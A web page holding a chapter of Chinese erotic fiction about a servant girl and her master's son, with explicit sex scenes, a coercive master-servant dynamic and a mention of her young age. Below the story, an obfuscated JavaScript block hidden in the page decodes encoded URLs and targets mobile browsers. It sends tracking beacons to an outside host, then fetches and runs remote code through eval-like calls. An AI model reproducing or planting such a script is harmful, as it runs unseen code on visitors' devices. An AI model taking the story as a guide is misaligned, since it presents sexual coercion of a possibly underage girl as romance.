  几天后,月娘正独自一人在卫子卿房内绣一对鸳鸯。

  那是夫人给她的任务,要她空闲时做完,以免荒废了那幺巧夺天工的一双手。

  月娘一面绣着,想到这几天里与卫子卿的颠鸾倒凤,夜夜春宵。

  他没一天放过自己,他总有办法让自己臣服在他的热情之下。

  月娘不知道自己对他,到底是爱还是恨。

  是他救了自己,也是他把自己拉进更深的欲海泥潭。

  这几天除了床第间的恩爱,他在生活细节中也处处关照她,爱护她。

  冷热无常的卫子卿,让月娘不知道,他爱的究竟是她这个身子,还是她的人。

  她也不知道,若某天他厌倦了自己这身体,会不会毫不留情地把她扔掉。

  到那时,她已是残花败柳,她又该怎幺活下去呢?

  月娘心事重重地绣着,一不小心,针刺到了手。

  月娘惊呼一声,就看到一个小血珠冒出来。

  她懊恼地甩甩头,都是卫子卿害的。

  若不是他令她分神,这幺简单的活计,怎幺会让她被针刺到?

  这时卫子卿正满面春风地走进来,看到月娘坐在床边刺绣,却又眉头微蹙,就突然想到一首诗:美人卷珠帘,深坐颦蛾眉。但见泪痕湿,不知心恨谁?

  他的小美人,到底在恼怒些什幺?

  卫子卿走上前欲抱住她,月娘却故意扭转了身子不看他。

  「怎幺了月儿?不高兴?昨夜——难道是睡得不好?」卫子卿从背后抱着她,带着一层胡茬的下巴,磨蹭着她白皙修长的脖颈,让月娘痒痒的。

  月娘娇嗔着把刺破的手指亮给他看,卫子卿不假思索地,拿过她纤长的手指,放在嘴巴里吸吮起来。

  那种痒痒的感觉,直勾勾赤裸裸的爱慕眼神,让月娘的心跳又慢了半拍。

  「你,这是做什幺?」她抽出手指,回避着他的眼神小声说道。

  「心疼你啊月儿。这些东西,留待以后再做吧。我娘那边你不要担心,有我呢。」卫子卿说着,就把那块绣品扔得远远的。

  「那怎幺行?夫人交代下来的,我就要做好。」月娘欲起身去捡,却被卫子卿用力熊抱住。

  「我娘交代了,让我转告你。你必须要——伺候好我。这才是你最该做的,嗯?」卫子卿一面说着,一面揉着怀中人胸前的两团,既柔软又充满弹性的肉。

  「真是奇怪,怎样都要不够你,就像我从来没见过女人似的。月儿,你的身子怎幺那幺好?就像现在这样,不用真格,便已销魂。」卫子卿的鼻子嗅着月娘颈间传来的幽幽香
气,高挺的鼻尖,在她脖子上四处徜徉。

  「你总是诳我。夫人才不会这样说。」月娘被他的胡茬磨的好痒,咯咯笑着躲避他的磨蹭。

  「真地,月儿。我娘说,这些天我都没有出去放荡鬼混,更没有夜不归宿流连妓寨,想必是你牵制了我。早知如此,她早该把你安排给我才是。」卫子卿看月娘笑得小脸绯
红,心情也格外开心起来。

  可他的手却还是在月娘衣襟里,揉面似的揉弄着,并没有要停下的意思。

  「大白天的,你做甚幺?」月娘好容易板起脸来,面对着他。

  「那又如何?是谁规定,白天就不许人欢好的?」卫子卿亲昵地用鼻尖磨着她的鼻尖,反驳她的谬论。

  「被夫人知道多不好,我会羞死的。」月娘的两只小手撑着他的胸膛,身体向后仰着躲着,却有了一种欲拒还迎的味道。

  「你我在房中的乐趣,又有谁会知道?再者,就算我们不说,又有谁猜不到呢?月儿,你想的太多了。不如就听从你身体的指示。月儿,你这样子,让我一看到,就想要你
了。」卫子卿盯着她的俏脸红唇,眼睛里的光又炙热起来。

  「卿,会不会,哪天你厌倦了我,我就……」月娘努力从他的怀抱中挣脱出来,很严肃地问着他。

  卫子卿一皱眉,又揽得她死死的,低声说:「杞人忧天。虽然你不能做我的妻子,但你始终会是我的心头宝。若只想与你春风一度,我又何必明晃晃地把你要来?月儿,若是
怕我厌倦了你,你就要想点办法,把我笼络得离不开你,才是正事。其它的,你想都别想。」

  「那……那你娶妻之后,会不会把我丢在一旁?」月娘明知自己的身份,做不了他的正妻。可她还是为此,心里狠狠地痛了一下。

  她那些男耕女织夫妻恩爱的梦想,都被那一夜给毁了。

  而眼前的卫子卿,不管她爱也好恨也好,他都是她眼前唯一可以指望依靠的男人了。

  卫子卿的手,正在享受她那两团弹力十足,又不失柔软的乳房。

  听到她问题那幺多,他的手停了一下,又变本加厉地,开始抚弄那对光滑小巧的乳头。

  那夜她被烫伤之后,经过几天的修养,加上她年纪小,恢复得特别快。

  那对乳头竟似凤凰涅盘,不但没有因此而留下难看的疤痕,反而因此出落得更为水灵动人。

  不同于一般女子,乳头上的那些小皱褶,都被火苗熨烫得异常平滑。

  现在看来,更像一对诱人的樱桃了。

  「月儿,不要总是操心那些你不该去想的事。你是我的小淫娃,我是你的男人。有我在,你就在。还有,今天我还要告诉你另外一件事。被你一打岔,我险些都忘了说。」卫
子卿的手,开始去解她腰间的衣襟系带。

  若不是她坚持,他真想要她每天都裸着身子,藏在他的床上。

  又何必像现在这样,脱衣解带弄的那般麻烦。

  「什幺事?」月娘发觉到他语气中的一丝不快,抬脸问道。

  「这个月中,我要出门,随我爹去跑一趟木材生意。大概会去个十天半个月,这期间,就只有你自己照顾自己了。有什幺需要的,就去找我娘。你是我房里的人,我娘平时就
喜欢你,我又跟她请求过,她是不会为难你的。」卫子卿说着,解开了她身上的系带扔到一旁。

  月娘点点头,不知道是该高兴,还是有一丝失落。

  他走了,就不会有人每天缠着她索取她。

  可他走了,她眼前就没有一个可以说话的人了。

  自从跟了他,月娘简直不敢踏出这间房门一步。

  她深怕过去的那些个姐妹大娘们取笑她,瞧不起她。

  更怕那夜那两个不知名的匪徒,会再次看到她。

  她不知他们是谁,可她知道那一定是府中的人。

  若他们在背地里,把那晚不堪的情形说出去,她就算是死,也会死的很不光彩。

  卫子卿看到她怅然若失的模样,心头一热说道:「怎幺,月儿舍不得我?」

  月娘点点头,第一次主动把她赤裸的身子,贴到他肌肉虬结的胸膛和小腹上去。

  「放心,我很快就会回来。月儿,我就快走了。我是家中长子,平时玩归玩,但正经生意还是要去的。我走了,会非常非常想你。你呢,会不会想我,嗯?」卫子卿第一次觉
得,怀中的这个小女人,是他的情人,而不仅仅是个玩偶了。

  他玩世不恭的心,早已经在这些日子里,在无数次肉体的碰撞磨合中,默默地遗失在她身上了。

  「嗯。」月娘轻声应着,沈溺在他情人般的耳鬓厮磨中。

  「不要只是嗯。告诉我,会不会想我?」卫子卿不死心地追问着。

  「会,卿,我会很想念你。」月娘的头埋进他的颈窝里小声说着。

  「想我什幺?说。」卫子卿被她的情话打动了,下身那根硬硬的东西,不安分地顶着月娘的小腹。

  「都想,你的一切。」月娘知道他想听什幺,可她又不好意思说出口。

  「那——你,想不想它?」卫子卿顶着她的那根硬硬的肉棒,又向上挑了一下,还在她腿间不断地拱着磨着。

  「想……」月娘的声音像是蚊子哼哼,他总是要她说出这幺难为情的话。

  「月儿,那你,今天就好好地爱我,也爱它一下。你知道,我可要出远门了呢。」卫子卿撒娇似的语气,打横抱起她,向床榻走去。

  他让她靠着床头坐着,上了床与她面对面地坐好。

  把她的一双长腿,盘架在他的腰间。

  然后他,没有任何迟疑地,把巨大的阳具顶入她的小穴。

  分别在即,他没有耐心也没有毅力,去搞那些花俏的前戏。

  等他回来,他要这面前的小妖精,把欠他的,都加倍还给他。

  月娘已经渐渐适应了他的巨大,虽然刚进入的时候有点痛。

  可为了他的离开,她愿意忍,也可以忍。

  卫子卿抱着她纤细的腰肢,嘴巴轮流宠爱着她胸前的两只樱桃。

  耸动着有力的腰肢,开始在她身体里律动起来。

  「月儿,爱我不爱?月儿……」卫子卿被情欲涨红的眼睛,火辣地盯着月娘问。

  月娘环着他的脖子,被他颠得爱液横流,娇喘呻吟着:「卿,爱……月儿,爱你。」

  得到月娘的鼓励,卫子卿紧紧拥抱着她,嘴巴覆上了她的唇。

  用狂烈的吻,去表达和发泄更多对她的爱意。

  他的舌头紧紧缠绕着她的,一刻不离地包裹着她的嘴巴。

  他的肉棒也毫无松懈地,在她紧窄的花径里纵横驰骋。

  欢爱的水声和肉体交接的响声,在室内萦绕。

  他的一只手,在她胸前贪恋地揉捏着。

  把两只乳头凑到一起,在手心里感受那腻人的爽快。

  他,恨不能把整个人都化进月娘的身体里。

  又或者,恨不能把月娘,整个地揉碎在自己的身体里。

  这样,他们两个就能合二为一。

  这样,不管走到那里,他和他的小淫娃,都能从上到下从里到外,都完全契合地融为一体……

热门搜索

友情链接




返回首页 | 返回顶部

function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};